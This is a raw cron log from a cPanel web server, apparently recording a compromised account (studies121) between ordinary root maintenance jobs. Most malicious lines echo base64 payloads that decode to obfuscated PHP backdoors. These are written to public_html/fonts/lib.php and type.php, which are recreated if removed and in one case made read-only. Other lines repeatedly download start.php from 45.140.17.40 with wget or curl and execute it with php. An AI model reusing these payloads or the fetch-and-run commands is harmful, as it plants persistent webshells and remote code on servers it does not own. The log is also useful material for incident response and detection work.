Sep 10 17:28:01 ip-184-168-122-23 CROND[14093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:28:01 ip-184-168-122-23 CROND[14092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:28:01 ip-184-168-122-23 CROND[14094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:29:01 ip-184-168-122-23 CROND[14184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:29:01 ip-184-168-122-23 CROND[14187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:29:01 ip-184-168-122-23 CROND[14188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:29:01 ip-184-168-122-23 CROND[14186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:30:01 ip-184-168-122-23 CROND[14305]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:30:01 ip-184-168-122-23 CROND[14308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:30:01 ip-184-168-122-23 CROND[14310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:30:01 ip-184-168-122-23 CROND[14312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:30:01 ip-184-168-122-23 CROND[14313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:30:01 ip-184-168-122-23 CROND[14316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:30:01 ip-184-168-122-23 CROND[14314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:30:01 ip-184-168-122-23 CROND[14315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:31:01 ip-184-168-122-23 CROND[14424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:31:01 ip-184-168-122-23 CROND[14426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:31:01 ip-184-168-122-23 CROND[14429]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 17:31:01 ip-184-168-122-23 CROND[14427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:31:01 ip-184-168-122-23 CROND[14428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:32:01 ip-184-168-122-23 CROND[14530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:32:01 ip-184-168-122-23 CROND[14534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:32:01 ip-184-168-122-23 CROND[14533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:32:01 ip-184-168-122-23 CROND[14535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:32:01 ip-184-168-122-23 CROND[14532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:33:01 ip-184-168-122-23 CROND[14723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:33:01 ip-184-168-122-23 CROND[14726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:33:01 ip-184-168-122-23 CROND[14725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:33:01 ip-184-168-122-23 CROND[14724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:34:01 ip-184-168-122-23 CROND[14819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:34:02 ip-184-168-122-23 CROND[14822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:34:02 ip-184-168-122-23 CROND[14821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:34:02 ip-184-168-122-23 CROND[14823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:34:02 ip-184-168-122-23 CROND[14824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:35:01 ip-184-168-122-23 CROND[14940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:35:01 ip-184-168-122-23 CROND[14945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:35:01 ip-184-168-122-23 CROND[14943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:35:01 ip-184-168-122-23 CROND[14944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:35:01 ip-184-168-122-23 CROND[14947]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 17:35:01 ip-184-168-122-23 CROND[14942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:35:01 ip-184-168-122-23 CROND[14946]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 17:35:01 ip-184-168-122-23 CROND[14948]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:36:01 ip-184-168-122-23 CROND[15075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:36:01 ip-184-168-122-23 CROND[15078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:36:01 ip-184-168-122-23 CROND[15077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:36:01 ip-184-168-122-23 CROND[15079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:36:01 ip-184-168-122-23 CROND[15080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:37:01 ip-184-168-122-23 CROND[15207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:37:01 ip-184-168-122-23 CROND[15208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:37:01 ip-184-168-122-23 CROND[15213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:37:01 ip-184-168-122-23 CROND[15212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:38:01 ip-184-168-122-23 CROND[15297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:38:01 ip-184-168-122-23 CROND[15299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:38:01 ip-184-168-122-23 CROND[15301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:38:01 ip-184-168-122-23 CROND[15302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:38:01 ip-184-168-122-23 CROND[15300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:39:01 ip-184-168-122-23 CROND[15506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:39:01 ip-184-168-122-23 CROND[15507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:39:01 ip-184-168-122-23 CROND[15508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:39:01 ip-184-168-122-23 CROND[15509]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 17:39:01 ip-184-168-122-23 CROND[15510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:40:02 ip-184-168-122-23 CROND[15624]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:40:02 ip-184-168-122-23 CROND[15628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:40:02 ip-184-168-122-23 CROND[15630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:40:02 ip-184-168-122-23 CROND[15633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
